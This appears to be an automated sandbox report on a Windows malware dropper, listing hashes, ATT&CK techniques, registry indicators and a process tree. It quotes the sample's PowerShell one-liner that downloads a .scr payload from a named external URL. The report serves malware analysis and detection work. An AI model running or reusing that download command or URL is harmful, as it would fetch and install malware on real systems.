e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58

Analysis

max time kernel
148s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/08/2026, 14:08

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General

Target
e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58.exe
Size 466KB
Sample260812-rfntashq41
SHA256 e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58
MD5 0fdbc8c24e84eea10dc25e81765014a1
SHA1 2d566a2b94fc8b16b97200392db1bbe714c31289
SHA512 3cb0c09cc5303f7842fd5ba79a118f62586c4f494a2168c6103db55697fe9dc063f866ec5ee8fc208e01cfe7d7e6b044847c824ee28ed7b4ba41d035fb7da72f
SSDEEP 12288:CgZXEAO/BUdG3gVdt7Kdm5bakhM/7xah42prW1:CgZXoZUTVdt7K0JakhM1ah42prW1
TLSH
T179A4BE327BC489B3D1722835C9797B14597C7CB06E6ACA87EB501C589F317C0AE39BA1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://master-repogen.vercel.app/file/server.scr

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	1360	powershell.exe
11	1360	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1360	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4528	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mspaint.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks SCSI registry key(s) 3 TTPs 8 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings	e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
5468	mspaint.exe
5468	mspaint.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1360	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
5468	mspaint.exe
5468	mspaint.exe
5468	mspaint.exe
5468	mspaint.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5532 wrote to memory of 5468	5532	e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58.exe	89
PID 5532 wrote to memory of 4528	5532	e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58.exe	90
PID 4528 wrote to memory of 1360	4528	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58.exe
"C:\Users\Admin\AppData\Local\Temp\e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58.exe"
1⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5532
- C:\Windows\SysWOW64\mspaint.exe
  "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\death.jpg"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:5468
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Dropper.bat" "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
- Checks SCSI registry key(s)
PID:2796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

Dropper.bat

Path C:\Users\Admin\AppData\Local\Temp\Dropper.bat
Size 470B
SHA256 6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71
MD5 8073ff57f855d5cd51346f011933d9fb
SHA1 d24fc282fb660945b87e1c41860a031f6e7ec9f6
SHA512 9f2e04c4f8bdeab0e2075b5bc42edbe6a9ee4221fbf1ebbacd44238576e77f7b2d5f5d3ac90d433b8b6f5493fef51747405e14a5aa2cf59a4663b2cf385b4610
TLSH
T126F0DC3F0483A2260731A08C942C68C5E509C11B6382D28834F0C88DB422EC5E3FC9DB
MD5 SHA1 SHA512 TLSH

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death.jpg

Path C:\Users\Admin\AppData\Local\Temp\death.jpg
Size 90KB
SHA256 598dc794a9b904fbc5f528e1ff290a54323f3598a15d063b31d48c06f71fa58f
MD5 5d8d4ee19e74d88a0f24aa241dddb14f
SHA1 0172899ae844f7eba49c323c1d0d85c5888ca4d8
SHA512 b863b5ae92bcf901d0fe6b9d188d65e4824acfcb3c32ba9e4e6e85727fe232df43241bed4b89698e751508f2e6b23481f6e411d8e8e88d08bfac452e01ff9d96
SSDEEP 1536:TD4dv9wjQPylO8H4y+zQGoJcK3IUp02oEOUKgG6zXStmNGc60PYfTBFIL:TD4dv9wjQcOS5soJBIhe8eiwF6KiTBFk
TLSH
T12B93020419035310F94B5C35C2269DED2075E3CD766E17A2E49D9AB8CE9EFE149EB0F2
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/1360-15-0x0000000004C80000-0x0000000004CB6000-memory.dmp

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memory/1360-16-0x0000000005490000-0x0000000005ADA000-memory.dmp

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memory/1360-18-0x0000000005390000-0x00000000053B2000-memory.dmp

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memory/1360-19-0x0000000005BC0000-0x0000000005C26000-memory.dmp

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memory/1360-20-0x0000000005C30000-0x0000000005C96000-memory.dmp

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memory/1360-23-0x0000000005D90000-0x00000000060EB000-memory.dmp

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memory/1360-24-0x0000000006150000-0x000000000616E000-memory.dmp

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memory/1360-25-0x0000000006180000-0x00000000061CC000-memory.dmp

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memory/1360-26-0x0000000007790000-0x0000000007E0C000-memory.dmp

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memory/1360-27-0x00000000066C0000-0x00000000066DA000-memory.dmp

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